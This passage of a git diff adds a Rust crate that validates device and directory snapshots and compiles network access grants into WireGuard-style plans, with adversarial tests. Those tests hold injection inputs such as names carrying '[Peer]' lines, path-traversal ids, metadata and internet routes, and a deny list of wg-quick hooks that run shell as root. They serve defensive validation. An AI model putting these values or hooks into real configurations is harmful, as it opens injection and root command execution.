Clone, PartialEq, Eq, Default)] +pub struct Directory { + pub people: BTreeMap, + pub groups: BTreeMap, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Service { + pub host: Hostname, + pub ports: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Device { + pub key: DeviceKey, + pub name: String, + pub owner: Option, + pub address: Addr, + /// A classic WireGuard peer: **not post-quantum**. + pub classic: bool, + pub exit: bool, + pub relay: bool, + pub routes: Vec, + pub services: Vec, +} + +/// The device list, validated. +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub struct Devices { + pub devices: BTreeMap, +} + +impl Devices { + pub fn by_name(&self, name: &str) -> Option<&Device> { + self.devices.values().find(|d| d.name == name) + } + + /// The device serving `host`. + pub fn service(&self, host: &Hostname) -> Option<(&Device, &Service)> { + self.devices + .values() + .find_map(|d| d.services.iter().find(|s| &s.host == host).map(|s| (d, s))) + } + + /// The one device whose routes cover `net`. + pub fn router_of(&self, net: &Net) -> Option<&Device> { + self.devices + .values() + .find(|d| d.routes.iter().any(|r| r.contains(net))) + } +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawDirectory { + format: u32, + people: Vec, + #[serde(default)] + groups: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawPerson { + id: String, + name: String, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawGroup { + id: String, + name: String, + members: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawDevices { + format: u32, + devices: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawDevice { + key: String, + name: String, + #[serde(default)] + owner: Option, + address: String, + #[serde(default)] + classic: bool, + #[serde(default)] + exit: bool, + #[serde(default)] + relay: bool, + #[serde(default)] + routes: Vec, + #[serde(default)] + services: Vec, +} + +#[derive(Deserialize)] +#[serde(deny_unknown_fields)] +struct RawService { + host: String, + ports: Vec, +} + +fn read_json Deserialize<'de>>(path: &str, bytes: &[u8]) -> Result> { + if bytes.len() > MAX_SNAPSHOT { + return Err(vec![Problem::error( + path, + None, + r::SNAPSHOT_JSON, + "larger than 4 MiB", + )]); + } + serde_json::from_slice(bytes).map_err(|e| { + vec![ + Problem::error( + path, + None, + r::SNAPSHOT_JSON, + format!("not a valid snapshot: {e}"), + ) + .at(e.line()), + ] + }) +} + +fn good_name(s: &str) -> bool { + let n = s.chars().count(); + (1..=100).contains(&n) && !s.chars().any(is_hidden_char) && s.trim() == s +} + +/// Characters a name may not hold: controls (newlines included, so a name can never inject a line into an +/// exported config, QA R-42), line and paragraph separators, zero-width and bidi controls (QA R-34). +pub fn is_hidden_char(c: char) -> bool { + c.is_control() + || matches!(c, '\u{2028}' | '\u{2029}' | '\u{200b}'..='\u{200f}' | '\u{202a}'..='\u{202e}' | '\u{2060}'..='\u{2069}' | '\u{feff}') +} + +impl Directory { + pub fn parse(bytes: &[u8]) -> Result> { + let path = DIRECTORY_FILE; + let raw: RawDirectory = read_json(path, bytes)?; + let mut problems = Vec::new(); + let mut e = |field: String, code, msg: String| { + problems.push(Problem::error(path, Some(&field), code, msg)) + }; + if raw.format != 1 { + e( + "format".into(), + r::SNAPSHOT_FORMAT, + format!("format {} is not 1", raw.format), + ); + } + let mut dir = Directory::default(); + for (i, p) in raw.people.iter().enumerate() { + let Some(id) = PersonId::new(&p.id) else { + e( + format!("people[{i}].id"), + r::DIRECTORY_ID, + format!( + "`{}` is not a person id: 1-64 of A-Z a-z 0-9 _ -", + clip(&p.id) + ), + ); + continue; + }; + if !good_name(&p.name) { + e( + format!("people[{i}].name"), + r::DIRECTORY_NAME, + "a name is 1-100 characters on one line".into(), + ); + } + if dir + .people + .insert( + id.clone(), + Person { + id, + name: p.name.clone(), + }, + ) + .is_some() + { + e( + format!("people[{i}].id"), + r::DIRECTORY_DUPLICATE, + format!("person `{}` is listed twice", p.id), + ); + } + } + for (i, g) in raw.groups.iter().enumerate() { + let Some(id) = GroupId::new(&g.id) else { + e( + format!("groups[{i}].id"), + r::DIRECTORY_ID, + format!( + "`{}` is not a group id: 1-64 of A-Z a-z 0-9 _ -", + clip(&g.id) + ), + ); + continue; + }; + if !good_name(&g.name) { + e( + format!("groups[{i}].name"), + r::DIRECTORY_NAME, + "a name is 1-100 characters on one line".into(), + ); + } + let mut members = BTreeSet::new(); + for (j, m) in g.members.iter().enumerate() { + match PersonId::new(m).filter(|m| dir.people.contains_key(m)) { + Some(m) => { + if !members.insert(m.clone()) { + e( + format!("groups[{i}].members[{j}]"), + r::DIRECTORY_MEMBER, + format!("`{m}` is listed twice"), + ); + } + } + None => e( + format!("groups[{i}].members[{j}]"), + r::DIRECTORY_MEMBER, + format!("`{}` is not a person in the directory", clip(m)), + ), + } + } + if dir + .groups + .insert( + id.clone(), + Group { + id, + name: g.name.clone(), + members, + }, + ) + .is_some() + { + e( + format!("groups[{i}].id"), + r::DIRECTORY_DUPLICATE, + format!("group `{}` is listed twice", g.id), + ); + } + } + if problems.is_empty() { + Ok(dir) + } else { + Err(problems) + } + } +} + +impl Devices { + pub fn parse(bytes: &[u8], directory: Option<&Directory>) -> Result> { + let path = DEVICES_FILE; + let raw: RawDevices = read_json(path, bytes)?; + let mut problems = Vec::new(); + let mut e = |field: String, code, msg: String| { + problems.push(Problem::error(path, Some(&field), code, msg)) + }; + if raw.format != 1 { + e( + "format".into(), + r::SNAPSHOT_FORMAT, + format!("format {} is not 1", raw.format), + ); + } + let mut out = Devices::default(); + let mut names = BTreeSet::new(); + let mut addresses = BTreeSet::new(); + let mut hosts = BTreeSet::new(); + for (i, d) in raw.devices.iter().enumerate() { + let f = |k: &str| format!("devices[{i}].{k}"); + let Some(key) = DeviceKey::new(&d.key).filter(|_| is_device_key(&d.key)) else { + e( + f("key"), + r::DEVICES_KEY, + format!( + "`{}` is not a Tessera device key: 43 characters of base64url", + clip(&d.key) + ), + ); + continue; + }; + let name_ok = (1..=64).contains(&d.name.len()) + && d.name + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-'); + if !name_ok { + e( + f("name"), + r::DEVICES_NAME, + format!( + "`{}` is not a device name: 1-64 of a-z 0-9 -", + clip(&d.name) + ), + ); + } else if !names.insert(d.name.clone()) { + e( + f("name"), + r::DEVICES_NAME, + format!("the name `{}` is used twice", d.name), + ); + } + let owner = match &d.owner { + None => None, + Some(o) => { + let known = directory.is_none_or(|dir| { + PersonId::new(o).is_some_and(|p| dir.people.contains_key(&p)) + }); + match PersonId::new(o).filter(|_| is_opaque_id(o) && known) { + Some(p) => Some(p), + None => { + e( + f("owner"), + r::DEVICES_OWNER, + format!("`{}` is not a person in the directory", clip(o)), + ); + None + } + } + } + }; + let address = match d.address.parse::() { + Ok(a) + if a.to_string() == d.address + && !Net::host(a).is_special() + && !Net::host(a).embeds_ipv4() => + { + if !addresses.insert(a) { + e( + f("address"), + r::DEVICES_ADDRESS, + format!("{a} is used by two devices"), + ); + } + Some(Addr(a)) + } + _ => { + e( + f("address"), + r::DEVICES_ADDRESS, + format!("`{}` is not one IP address", clip(&d.address)), + ); + None + } + }; + let mut routes = Vec::new(); + for (j, rt) in d.routes.iter().enumerate() { + match Net::parse_canonical(rt) { + Ok(n) + if n.prefix_len() > 0 + && !n.is_special() + && !n.embeds_ipv4() + && !n.reaches_internet() => + { + routes.push(n) + } + Ok(n) if n.prefix_len() > 0 => e( + format!("devices[{i}].routes[{j}]"), + r::DEVICES_ROUTE, + format!( + "{n} is not a private subnet (loopback, link-local, multicast, embedded IPv4 or internet); the internet is reached through an exit" + ), + ), + Ok(_) => e( + format!("devices[{i}].routes[{j}]"), + r::DEVICES_ROUTE, + "a route of /0 is an exit; set `exit: true` instead".into(), + ), + Err(_) => e( + format!("devices[{i}].routes[{j}]"), + r::DEVICES_ROUTE, + format!("`{}` is not a canonical subnet", clip(rt)), + ), + } + } + routes.sort(); + routes.dedup(); + let mut services = Vec::new(); + for (j, s) in d.services.iter().enumerate() { + let Some(host) = Hostname::new(&s.host).filter(|_| is_hostname(&s.host)) else { + e( + format!("devices[{i}].services[{j}].host"), + r::DEVICES_SERVICE, + format!("`{}` is not a hostname", clip(&s.host)), + ); + continue; + }; + if !hosts.insert(host.clone()) { + e( + format!("devices[{i}].services[{j}].host"), + r::DEVICES_SERVICE, + format!("{host} is served by two devices"), + ); + } + let mut ports = Vec::new(); + for p in &s.ports { + match PortSpec::parse(p) { + Ok(p) => ports.push(p), + Err(m) => e( + format!("devices[{i}].services[{j}].ports"), + r::DEVICES_PORTS, + m, + ), + } + } + if s.ports.is_empty() { + e( + format!("devices[{i}].services[{j}].ports"), + r::DEVICES_PORTS, + "a service lists the ports it serves".into(), + ); + } + services.push(Service { host, ports }); + } + services.sort_by(|a, b| a.host.cmp(&b.host)); + let Some(address) = address else { continue }; + let dev = Device { + key: key.clone(), + name: d.name.clone(), + owner, + address, + classic: d.classic, + exit: d.exit, + relay: d.relay, + routes, + services, + }; + if out.devices.insert(key.clone(), dev).is_some() { + e( + f("key"), + r::DEVICES_DUPLICATE, + format!("the key {} is listed twice", key.short()), + ); + } + } + // Routes may not overlap between devices, and no device address may sit inside a route. + let all: Vec<(&Device, &Net)> = out + .devices + .values() + .flat_map(|d| d.routes.iter().map(move |n| (d, n))) + .collect(); + for (a, (da, na)) in all.iter().enumerate() { + for (db, nb) in all.iter().skip(a + 1) { + if da.key != db.key && na.overlaps(nb) { + e( + format!("devices.{}.routes", db.name), + r::DEVICES_OVERLAP, + format!("{nb} on {} overlaps {na} on {}", db.name, da.name), + ); + } + } + for d in out.devices.values() { + if na.contains_addr(&d.address.0) { + e( + format!("devices.{}.address", d.name), + r::DEVICES_ADDRESS, + format!( + "{} of {} is inside the route {na} of {}", + d.address, d.name, da.name + ), + ); + } + } + } + if problems.is_empty() { + Ok(out) + } else { + Err(problems) + } + } +} diff --git a/crates/roads/src/store.rs b/crates/roads/src/store.rs new file mode 100644 index 0000000..8ab3ba7 --- /dev/null +++ b/crates/roads/src/store.rs @@ -0,0 +1,161 @@ +//! The store: `directory.json`, `devices.json` and `roads/` (docs/FORMATS.md, "The store"). + +use crate::id::RoadId; +use crate::problem::Problem; +use crate::road::Road; +use crate::rules as r; +use crate::snapshot::{DEVICES_FILE, DIRECTORY_FILE, Devices, Directory}; +use std::collections::BTreeMap; +use std::path::Path; + +pub const ROADS_DIR: &str = "roads"; +pub const MAX_ROADS: usize = 10_000; + +/// Everything the compiler reads, already parsed. Roads with errors are not in `roads`; their problems are. +#[derive(Debug, Clone, Default)] +pub struct Store { + pub roads: Vec, + pub directory: Option, + pub devices: Option, + pub problems: Vec, +} + +impl Store { + /// Builds a store from bytes: `(file name inside roads/, contents)`, and the two snapshots (`None`: missing). + pub fn from_parts( + road_files: &[(String, Vec)], + directory: Option<&[u8]>, + devices: Option<&[u8]>, + ) -> Store { + let mut store = Store::default(); + match directory { + None => store.problems.push(Problem::error( + DIRECTORY_FILE, + None, + r::SNAPSHOT_JSON, + "missing", + )), + Some(b) => match Directory::parse(b) { + Ok(d) => store.directory = Some(d), + Err(p) => store.problems.extend(p), + }, + } + match devices { + None => store.problems.push(Problem::error( + DEVICES_FILE, + None, + r::SNAPSHOT_JSON, + "missing", + )), + Some(b) => match Devices::parse(b, store.directory.as_ref()) { + Ok(d) => store.devices = Some(d), + Err(p) => store.problems.extend(p), + }, + } + + let mut files: Vec<&(String, Vec)> = road_files.iter().collect(); + files.sort_by(|a, b| a.0.cmp(&b.0)); + if files.len() > MAX_ROADS { + store.problems.push(Problem::error( + ROADS_DIR, + None, + r::FILE_COUNT, + format!("more than {MAX_ROADS} road files"), + )); + return store; + } + let mut by_id: BTreeMap> = BTreeMap::new(); + for (name, bytes) in files { + let path = format!("{ROADS_DIR}/{name}"); + match Road::parse(&path, bytes) { + Ok(road) => by_id.entry(road.id.clone()).or_default().push(road), + Err(p) => store.problems.extend(p), + } + } + for (id, roads) in by_id { + if roads.len() == 1 { + store.roads.extend(roads); + continue; + } + let paths: Vec<&str> = roads.iter().map(|r| r.path.as_str()).collect(); + for road in &roads { + store.problems.push( + Problem::error( + &road.path, + Some("id"), + r::ID_DUPLICATE, + format!( + "id {id} is used by {}; none of them grants anything", + paths.join(" and ") + ), + ) + .at(road.line_of("id")), + ); + } + } + store + } + + /// Reads a store folder. Only the three names are read; anything that is not a regular `.md` file inside + /// `roads/` is a problem and is not read. + pub fn load_dir(root: &Path) -> std::io::Result { + let directory = read_optional(&root.join(DIRECTORY_FILE))?; + let devices = read_optional(&root.join(DEVICES_FILE))?; + let mut files = Vec::new(); + let mut problems = Vec::new(); + let roads = root.join(ROADS_DIR); + if roads.is_dir() { + for entry in std::fs::read_dir(&roads)? { + let entry = entry?; + let name = entry.file_name().to_string_lossy().into_owned(); + let ty = entry.file_type()?; + let path = format!("{ROADS_DIR}/{name}"); + if !ty.is_file() { + let what = if ty.is_symlink() { + "a symbolic link" + } else { + "not a regular file" + }; + problems.push(Problem::error( + &path, + None, + r::FILE_KIND, + format!("{what}; roads/ holds only road files"), + )); + continue; + } + if !name.ends_with(".md") { + problems.push(Problem::error( + &path, + None, + r::FILE_KIND, + "not a road file (.md); roads/ holds only road files", + )); + continue; + } + if entry.metadata()?.len() > crate::road::MAX_FILE as u64 { + problems.push(Problem::error( + &path, + None, + r::FILE_SIZE, + format!("larger than {} KiB", crate::road::MAX_FILE / 1024), + )); + continue; + } + files.push((name, std::fs::read(entry.path())?)); + } + } + let mut store = Store::from_parts(&files, directory.as_deref(), devices.as_deref()); + store.problems.extend(problems); + store.problems.sort(); + Ok(store) + } +} + +fn read_optional(path: &Path) -> std::io::Result>> { + match std::fs::read(path) { + Ok(b) => Ok(Some(b)), + Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None), + Err(e) => Err(e), + } +} diff --git a/crates/roads/tests/attacks.rs b/crates/roads/tests/attacks.rs new file mode 100644 index 0000000..17fa10b --- /dev/null +++ b/crates/roads/tests/attacks.rs @@ -0,0 +1,266 @@ +//! QA's adversarial cases (`Via/qa/02_roads_attacks.md`) that the six mandatory tests do not already cover. +//! Each test names the case it answers. + +mod common; + +use common::{Parts, at, fw_accepts, key}; +use roads::{Road, RoadId, compile, rules}; + +fn road(id: &str, lines: &[&str]) -> String { + format!( + "---\nid: {id}\n{}\ncreated: 2026-11-25T10:00:00Z\n---\n", + lines.join("\n") + ) +} + +#[test] +fn r12_roads_are_one_directional() { + let c = Parts::home().compile(); + assert!(fw_accepts( + &c, + &key(3), + "100.96.0.2".parse().unwrap(), + Some(("tcp", 443)) + )); + // The home server gets no rule into jana-phone, and jana-phone's firewall is empty. + assert!(!fw_accepts( + &c, + &key(2), + "100.96.0.3".parse().unwrap(), + Some(("tcp", 443)) + )); + assert!(c.plans[&key(3)].firewall.rules.is_empty()); +} + +#[test] +fn r10_receiving_side_peers_hold_only_their_own_address() { + // A peer that is only a client of this device holds exactly its /32 here; a firewall source always sits on + // its own peer, so another peer (an exit's 0.0.0.0/0 included) can never send from it. + let c = Parts::home().compile(); + for plan in c.plans.values() { + for rule in &plan.firewall.rules { + let own = plan + .peers + .iter() + .find(|p| roads::net::Net::host(p.address.0) == rule.src); + assert!( + own.is_some_and(|p| p.allowed_ips.contains(&rule.src)), + "{}: {rule:?}", + plan.name + ); + } + } + let server = &c.plans[&key(2)]; + for p in &server.peers { + assert_eq!( + p.allowed_ips, + [roads::net::Net::host(p.address.0)], + "{} may source more than itself", + p.name + ); + } +} + +#[test] +fn r05_r07_r08_the_internet_and_special_ranges_are_not_subnets() { + let base = Parts::home(); + for (route, why) in [ + ("0.0.0.0/1", "half the internet"), + ("128.0.0.0/1", "the other half"), + ("8.8.8.0/24", "a public subnet"), + ("127.0.0.0/8", "loopback"), + ("169.254.169.254/32", "cloud metadata"), + ("224.0.0.0/4", "multicast"), + ("::ffff:192.168.100.0/120", "IPv4-mapped IPv6"), + ("64:ff9b::/96", "NAT64"), + ("2002::/16", "6to4"), + ] { + let parts = Parts::home().edit_devices(|d| { + d.replace( + r#""routes": ["192.168.100.0/24"]"#, + &format!(r#""routes": ["{route}"]"#), + ) + }); + let c = parts.compile(); + assert!( + c.problems.iter().any(|p| p.code == rules::DEVICES_ROUTE), + "{route} ({why}) accepted as a route" + ); + assert!(c.plans.is_empty()); + } + let _ = base; +} + +#[test] +fn r25_until_extremes_never_panic() { + for until in [ + "0000-01-01T00:00:00Z", + "9999-12-31T23:59:59Z", + "+10000-01-01T00:00:00Z", + "2026-12-31T23:59:60Z", + "2026-11-29T23:59:59+24:00", + "2026-11-29T23:59:59-23:59", + "2026-11-29T23:59:59+99:99", + "2026-03-29T02:30:00 Europe/Prague", + &format!("2026-11-29T23:59:59.{}Z", "9".repeat(10_000)), + ] { + let text = road( + "f00001", + &[ + "subject: person:jana", + "verb: can-reach", + "object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + &format!("until: {until}"), + ], + ); + let parts = Parts::home().with_road("f00001-x.md", &text); + let store = parts.store(); + for now in [ + "1970-01-01T00:00:00Z", + "2026-11-25T12:00:00Z", + "9999-12-30T00:00:00Z", + ] { + let _ = compile(&store, at(now)); + } + } +} + +#[test] +fn r31_r33_ids_are_lowercase_and_never_paths() { + for s in [ + "../x", "a/b", "a\\b", ".", "..", "C:x", "", "k3f9q\0", "K3F9Q2", "k3f9q2x", "k3f9qi", + ] { + assert!(RoadId::new(s).is_none(), "{s:?}"); + } + let text = road( + "k3f9q2", + &[ + "subject: person:jana", + "verb: can-reach", + "object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + ], + ); + let err = Road::parse("roads/K3F9Q2-upper.md", text.as_bytes()).unwrap_err(); + assert!(err.iter().any(|p| p.code == rules::FILE_NAME)); +} + +#[test] +fn r36_verb_spellings_are_refused() { + for v in ["Can-Reach", "can_reach", "canReach", "CAN-REACH", "reach"] { + let text = road( + "f00002", + &[ + "subject: person:jana", + &format!("verb: {v}"), + "object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + ], + ); + let err = Road::parse("roads/f00002-x.md", text.as_bytes()).unwrap_err(); + assert!(err.iter().any(|p| p.code == rules::VERB_UNKNOWN), "{v}"); + } +} + +#[test] +fn r42_names_cannot_carry_lines_or_hidden_characters() { + for evil in [ + "x\n[Peer]", + "x\r[Peer]", + "x\u{2028}[Peer]", + "x\u{85}[Peer]", + "Jana\u{202e}", + "Ja\u{200b}na", + " Jana", + ] { + let json = format!( + r#"{{"format":1,"people":[{{"id":"jana","name":{}}}]}}"#, + serde_json::to_string(evil).unwrap() + ); + let err = roads::Directory::parse(json.as_bytes()).unwrap_err(); + assert!( + err.iter().any(|p| p.code == rules::DIRECTORY_NAME), + "{evil:?}" + ); + } + // Device names are only a-z 0-9 -. + let parts = Parts::home() + .edit_devices(|d| d.replace(r#""name": "router""#, r#""name": "router\n[Peer]""#)); + assert!( + parts + .compile() + .problems + .iter() + .any(|p| p.code == rules::DEVICES_NAME) + ); +} + +#[test] +fn r56_a_large_store_compiles_in_bounded_time() { + // 2,000 devices, 400 people, 10,000 roads (the store limit). Recorded in the PR; the bound is generous for debug builds. + let people = 400; + let mut directory = String::from(r#"{"format":1,"people":["#); + directory += &(0..people) + .map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#)) + .collect::>() + .join(","); + directory += r#"],"groups":[{"id":"all","name":"All","members":["#; + directory += &(0..people) + .map(|p| format!("\"p{p}\"")) + .collect::>() + .join(","); + directory += "]}]}"; + let devs = 2_000usize; + let mut devices = String::from(r#"{"format":1,"devices":["#); + devices += &(0..devs) + .map(|i| { + let mut b = [0u8; 32]; + b[..8].copy_from_slice(&(i as u64 + 1).to_be_bytes()); + let k = roads::DeviceKey::from_bytes(&b); + let svc = if i % 10 == 0 { + format!(r#","services":[{{"host":"s{i}.test","ports":["tcp/443"]}}]"#) + } else { + String::new() + }; + format!( + r#"{{"key":"{k}","name":"d{i}","owner":"p{}","address":"100.{}.{}.{}"{svc}}}"#, + i % people, + 64 + i / 65536, + (i / 256) % 256, + i % 256 + ) + }) + .collect::>() + .join(","); + devices += "]}"; + let roads: Vec<(String, Vec)> = (0..10_000usize) + .map(|i| { + let id = format!("{i:06}"); + let subject = if i % 100 == 0 { + "group:all".to_string() + } else { + format!("person:p{}", i % people) + }; + let text = road( + &id, + &[ + &format!("subject: {subject}"), + "verb: can-reach", + &format!("object: service:s{}.test", (i % (devs / 10)) * 10), + ], + ); + (format!("{id}-r.md"), text.into_bytes()) + }) + .collect(); + let t = std::time::Instant::now(); + let store = + roads::Store::from_parts(&roads, Some(directory.as_bytes()), Some(devices.as_bytes())); + let c = compile(&store, common::now()); + let took = t.elapsed(); + let rules: usize = c.plans.values().map(|p| p.firewall.rules.len()).sum(); + eprintln!( + "r56: {} roads, {devs} devices, {} grants, {rules} firewall rules in {took:?}", + store.roads.len(), + c.grants.len() + ); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems.first()); + assert!(took < std::time::Duration::from_secs(60), "took {took:?}"); +} diff --git a/crates/roads/tests/common/mod.rs b/crates/roads/tests/common/mod.rs new file mode 100644 index 0000000..c7cae2f --- /dev/null +++ b/crates/roads/tests/common/mod.rs @@ -0,0 +1,151 @@ +//! Shared test helpers: the `home` fixture store and in-memory stores. No real network, no real keys: device +//! keys are 32 repeated bytes. + +#![allow(dead_code)] + +use jiff::Timestamp as Instant; +use roads::{Compiled, DeviceKey, Store, compile}; +use std::path::PathBuf; + +pub const NOW: &str = "2026-11-25T12:00:00+01:00"; + +pub fn now() -> Instant { + at(NOW) +} + +pub fn at(s: &str) -> Instant { + s.parse().unwrap() +} + +/// The fixture device key `n`: 32 bytes of `n`. +pub fn key(n: u8) -> DeviceKey { + DeviceKey::from_bytes(&[n; 32]) +} + +pub fn fixtures() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("fixtures") +} + +pub fn home_dir() -> PathBuf { + fixtures().join("home") +} + +/// The home store as bytes: road files (name, contents), directory.json, devices.json. +pub struct Parts { + pub roads: Vec<(String, Vec)>, + pub directory: Vec, + pub devices: Vec, +} + +impl Parts { + pub fn home() -> Parts { + let dir = home_dir(); + let mut roads = Vec::new(); + for e in std::fs::read_dir(dir.join("roads")).unwrap() { + let e = e.unwrap(); + roads.push(( + e.file_name().to_string_lossy().into_owned(), + std::fs::read(e.path()).unwrap(), + )); + } + roads.sort(); + Parts { + roads, + directory: std::fs::read(dir.join("directory.json")).unwrap(), + devices: std::fs::read(dir.join("devices.json")).unwrap(), + } + } + + pub fn store(&self) -> Store { + Store::from_parts(&self.roads, Some(&self.directory), Some(&self.devices)) + } + + pub fn compile(&self) -> Compiled { + compile(&self.store(), now()) + } + + pub fn with_road(mut self, name: &str, text: &str) -> Parts { + self.roads + .push((name.to_string(), text.as_bytes().to_vec())); + self + } + + pub fn without_road(mut self, prefix: &str) -> Parts { + let before = self.roads.len(); + self.roads.retain(|(n, _)| !n.starts_with(prefix)); + assert_eq!( + self.roads.len() + 1, + before, + "no road file starts with {prefix}" + ); + self + } + + pub fn road_text(&self, prefix: &str) -> String { + let (_, b) = self + .roads + .iter() + .find(|(n, _)| n.starts_with(prefix)) + .expect("a road"); + String::from_utf8(b.clone()).unwrap() + } + + pub fn replace_road(mut self, prefix: &str, text: &str) -> Parts { + let slot = self + .roads + .iter_mut() + .find(|(n, _)| n.starts_with(prefix)) + .expect("a road"); + slot.1 = text.as_bytes().to_vec(); + self + } + + pub fn edit_devices(mut self, f: impl FnOnce(&str) -> String) -> Parts { + self.devices = f(std::str::from_utf8(&self.devices).unwrap()).into_bytes(); + self + } + + pub fn edit_directory(mut self, f: impl FnOnce(&str) -> String) -> Parts { + self.directory = f(std::str::from_utf8(&self.directory).unwrap()).into_bytes(); + self + } +} + +/// Every plan as JSON, in device order: the bytes the determinism tests compare. +pub fn plans_bytes(c: &Compiled) -> Vec { + let mut out = Vec::new(); + for p in c.plans.values() { + out.extend_from_slice(p.to_json().as_bytes()); + } + out +} + +/// Whether `from` may open a connection to `dst` on the receiving side, according to the plans: the +/// firewall of the device that owns or routes `dst` has a rule from `from`'s address. +pub fn fw_accepts( + c: &Compiled, + from: &DeviceKey, + dst: std::net::IpAddr, + proto_port: Option<(&str, u16)>, +) -> bool { + let src = c.plans[from].address; + c.plans.values().any(|p| { + p.firewall.rules.iter().any(|r| { + let dst_ok = match r.dst { + roads::plan::Dst::Net(n) => n.contains_addr(&dst), + roads::plan::Dst::Internet => roads::net::Net::host(dst).reaches_internet(), + }; + let port_ok = match (r.proto, r.ports, proto_port) { + (roads::ports::Proto::Any, _, _) => true, + (_, _, None) => false, + (proto, ports, Some((want, port))) => { + format!("{proto:?}").eq_ignore_ascii_case(want) + && ports.is_none_or(|[lo, hi]| lo <= port && port <= hi) + } + }; + r.src.contains_addr(&src.0) && dst_ok && port_ok + }) + }) +} diff --git a/crates/roads/tests/custom.rs b/crates/roads/tests/custom.rs new file mode 100644 index 0000000..fab0eb7 --- /dev/null +++ b/crates/roads/tests/custom.rs @@ -0,0 +1,132 @@ +//! Mandatory test 6: custom roads round-trip unchanged — file → road → canonical file, and road → plan — +//! with awkward raw content; and a custom raw block changes no other device's plan (QA R-40, R-43). + +mod common; + +use common::{Parts, key, plans_bytes}; +use roads::{Body, Road}; + +const KEY5: &str = "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU"; + +fn custom_file(id: &str, raw: &str) -> String { + format!( + "---\nid: {id}\nsubject: device:{KEY5}\nverb: custom\nclassic: true\ncreated: 2026-11-25T10:00:00+01:00\n---\n```raw\n{raw}```\n" + ) +} + +/// Raw blocks that must come back byte for byte. +fn awkward() -> Vec<&'static str> { + vec![ + "", + "[Interface]\nMTU = 1380 \n", + "[Peer]\r\nPublicKey = AAAA\r\nAllowedIPs = 10.9.0.0/24\r\n", + "\tJc = 4\n; a semicolon comment\n# a hash comment\nH1 = 1\nH1 = 2\n", + "```\nnot the end\n```\nstill raw\n", + "unicode: Přidat řazení ✓\n\n\n", + "trailing spaces \n \n", + "---\nid: zzzzzz\n---\n", + ] +} + +#[test] +fn the_fixture_custom_road_renders_back_to_its_own_bytes() { + let parts = Parts::home(); + let text = parts.road_text("x1d7qa"); + let road = Road::parse("roads/x1d7qa-router-imported.md", text.as_bytes()).unwrap(); + assert_eq!(road.render(), text); +} + +#[test] +fn awkward_raw_blocks_round_trip_byte_for_byte() { + for (i, raw) in awkward().into_iter().enumerate() { + let id = format!("e0000{i}"); + let text = custom_file(&id, raw); + let road = Road::parse(&format!("roads/{id}-x.md"), text.as_bytes()) + .unwrap_or_else(|p| panic!("{raw:?}: {p:?}")); + assert_eq!(road.body, Body::Raw(raw.to_string()), "{raw:?}"); + let again = road.render(); + assert_eq!(again, text, "{raw:?} did not render back"); + assert_eq!( + Road::parse(&format!("roads/{id}-x.md"), again.as_bytes()).unwrap(), + road + ); + + // Through the compiler: the plan carries the raw block unchanged, labelled classic. + let c = Parts::home() + .with_road(&format!("{id}-x.md"), &text) + .compile(); + let plan = &c.plans[&key(5)]; + let mine = plan + .custom + .iter() + .find(|x| x.road.as_str() == id) + .expect("the custom block"); + assert_eq!(mine.raw, raw); + assert!(mine.classic); + } +} + +#[test] +fn a_crlf_file_keeps_its_raw_bytes() { + let text = "---\r\nid: e00100\r\nsubject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU\r\nverb: custom\r\ncreated: 2026-11-25T10:00:00+01:00\r\n---\r\n```raw\r\n[Peer]\r\nX = 1\r\n```\r\n"; + let road = Road::parse("roads/e00100-crlf.md", text.as_bytes()).unwrap(); + assert_eq!(road.body, Body::Raw("[Peer]\r\nX = 1\r\n".into())); +} + +#[test] +fn every_canonical_road_in_the_home_store_renders_back_to_its_bytes() { + for (name, bytes) in Parts::home().roads { + let road = Road::parse(&format!("roads/{name}"), &bytes).unwrap(); + assert_eq!(road.render().as_bytes(), &bytes[..], "{name}"); + } +} + +#[test] +fn a_raw_block_with_a_peer_changes_no_other_plan() { + // QA R-40: an expert paste of a whole-network peer stays inside its own device's `custom` list. + let base = Parts::home().compile(); + let raw = "[Peer]\nPublicKey = AAAA\nAllowedIPs = 0.0.0.0/0, ::/0\n"; + let c = Parts::home() + .with_road("e00200-paste.md", &custom_file("e00200", raw)) + .compile(); + for (k, p) in &base.plans { + if *k == key(5) { + assert_eq!(c.plans[k].peers, p.peers, "the router's own peers changed"); + assert_eq!(c.plans[k].firewall, p.firewall); + continue; + } + assert_eq!(c.plans[k].to_json(), p.to_json(), "{} changed", p.name); + } + assert_ne!( + plans_bytes(&c), + plans_bytes(&base), + "the block is carried in the router's plan" + ); +} + +#[test] +fn hooks_in_a_raw_block_are_refused_in_any_spelling() { + // QA R-41: wg-quick runs these with bash as root. + for line in [ + "PostUp = x", + "postup=x", + " PreUp = x", + "PreDown = x", + "PostDown = x", + "SaveConfig = true", + "Table = off", + "FwMark = 51820", + " POSTUP =x", + ] { + let text = custom_file("e00300", &format!("[Interface]\n{line}\n")); + let err = Road::parse("roads/e00300-hook.md", text.as_bytes()).unwrap_err(); + assert!( + err.iter() + .any(|p| p.code == roads::rules::BODY_RAW_HOOK && p.line == Some(10)), + "{line}: {err:?}" + ); + } + // A key that merely contains a hook's name is fine. + let text = custom_file("e00301", "PostUpgradeNote = no\n"); + assert!(Road::parse("roads/e00301-ok.md", text.as_bytes()).is_ok()); +} diff --git a/crates/roads/tests/determinism.rs b/crates/roads/tests/determinism.rs new file mode 100644 index 0000000..c60420c --- /dev/null +++ b/crates/roads/tests/determinism.rs @@ -0,0 +1,111 @@ 